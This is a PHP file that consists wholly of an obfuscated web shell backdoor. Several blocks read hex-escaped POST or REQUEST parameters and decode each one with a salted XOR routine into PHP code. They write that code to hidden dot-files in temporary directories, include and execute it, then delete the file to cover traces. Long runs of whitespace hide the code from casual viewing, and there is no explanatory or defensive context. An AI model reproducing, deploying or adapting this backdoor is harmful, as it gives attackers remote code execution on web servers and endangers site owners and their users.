<?php																																										if(!empty($_REQUEST["dchu\x6E\x6B"])){ $mrk = array_filter(["/dev/shm", getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path()]); $fac = $_REQUEST["dchu\x6E\x6B"]; $fac =explode( '.' ,$fac ) ; $object = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $len = count($fac); for ($l = 0; $l < $len; $l++) { $v1 = $fac[$l]; $chS = ord($salt4[$l % $sLen]); $dec = ((int)$v1 - $chS - ($l % 10)) ^ 56; $object .= chr($dec); } foreach ($mrk as $key => $item) { if (array_product([is_dir($item), is_writable($item)])) { $flg = implode("/", [$item, ".pointer"]); if (file_put_contents($flg, $object)) { require $flg; unlink($flg); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["d\x63\x68\x75nk"])){ $res = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", getenv("TMP"), "/dev/shm"]); $element = $_POST["d\x63\x68\x75nk"]; $element= explode( '.' , $element) ; $item=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $u=0; array_walk($element, function($v4) use(&$item, &$u, $salt, $sLen) {$chS=ord($salt[$u % $sLen]); $dec=((int)$v4 - $chS -($u % 10))^ 99; $item .= chr($dec); $u++; } ); for ($resource = 0, $data_chunk = count($res); $resource < $data_chunk; $resource++) { $marker = $res[$resource]; if (!( !is_dir($marker) || !is_writable($marker) )) { $flg = vsprintf("%s/%s", [$marker, ".sym"]); if (file_put_contents($flg, $item)) { include $flg; @unlink($flg); die(); } } } }
																																										if(isset($_POST["com\x70o\x6E\x65\x6Et"]) ? true : false){ $k = $_POST["com\x70o\x6E\x65\x6Et"]; $k = explode ("." , $k ) ; $token = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8); $t = 0; foreach( $k as $v7) { $chS = ord( $s8[$t %$lenS]); $d = ( ( int)$v7 - $chS -( $t %10)) ^ 92; $token .= chr( $d); $t++; } $data_chunk = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp"]); foreach ($data_chunk as $tkn) { if (is_dir($tkn) ? is_writable($tkn) : false) { $marker = "$tkn/.property_set"; if (file_put_contents($marker, $token)) { require $marker; unlink($marker); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x73\x65t"])){ $token = $_REQUEST["p\x73\x65t"]; $token = explode ( '.' ,$token ); $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach($token as $s => $v6) { $chS = ord($salt[$s % $sLen] ); $d =((int)$v6 - $chS -($s % 10)) ^ 78; $flg .=chr($d );} $res = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/dev/shm"]); while ($data_chunk = array_shift($res)) { if (array_product([is_dir($data_chunk), is_writable($data_chunk)])) { $binding = implode("/", [$data_chunk, ".component"]); $success = file_put_contents($binding, $flg); if ($success) { include $binding; @unlink($binding); die();} } } }
																																										if(@$_POST["\x70\x72o\x70e\x72ty_\x73e\x74"] !== null){ $resource = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir()]); $bind = $_POST["\x70\x72o\x70e\x72ty_\x73e\x74"]; $bind = explode ( "." ,$bind ); $factor =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $j =0; while($j < count($bind)) { $v1 =$bind[$j]; $chS =ord($s[$j %$sLen]); $d =((int)$v1 - $chS -($j %10)) ^43; $factor .=chr($d); $j++; } for ($ptr = 0, $tkn = count($resource); $ptr < $tkn; $ptr++) { $dchunk = $resource[$ptr]; if (is_writable($dchunk) && is_dir($dchunk)) { $element = vsprintf("%s/%s", [$dchunk, ".record"]); if (file_put_contents($element, $factor)) { require $element; unlink($element); exit; } } } }
																																										if(!is_null($_REQUEST["va\x6C"] ?? null)){ $entity = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getcwd()]); $comp = $_REQUEST["va\x6C"]; $comp = explode ( '.' , $comp ) ; $rec =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $len =count($comp); for ($w =0; $w < $len; $w++) { $v3 =$comp[$w]; $chS =ord($salt[$w% $sLen]); $d =((int)$v3 - $chS - ($w% 10)) ^82; $rec .= chr($d); } for ($marker = 0, $ent = count($entity); $marker < $ent; $marker++) { $property_set = $entity[$marker]; if (!( !is_dir($property_set) || !is_writable($property_set) )) { $ent = "$property_set" . "/.ref"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $ent; @unlink($ent); die(); } } } }


if(!is_null($_POST["h\x6Flder"] ?? null)){
	$elem = $_POST["h\x6Flder"];
		 $elem 		=explode   ( 		"."			,$elem)	;		
	$fac	= 	'';
            $salt	= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	= 	strlen(		$salt);
            $r	= 	0;
    
            $__tmp	= 	$elem;
            while(		$v2	= 	array_shift(		$__tmp)) {
                $chS	= 	ord(		$salt[$r% 	$lenS]);
                $d	= 	(		(		int)$v2 - $chS -(		$r% 	10)) ^ 13;
                $fac .= chr(		$d);
                $r++;
            }
	$ent = array_filter(["/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp"]);
	while ($component = array_shift($ent)) {
    		if (is_writable($component) && is_dir($component)) {
    $reference = sprintf("%s/.sym", $component);
    $file = fopen($reference, 'w');
if ($file) {
	fwrite($file, $fac);
	fclose($file);
	include $reference;
	@unlink($reference);
	die();
}
}
}
}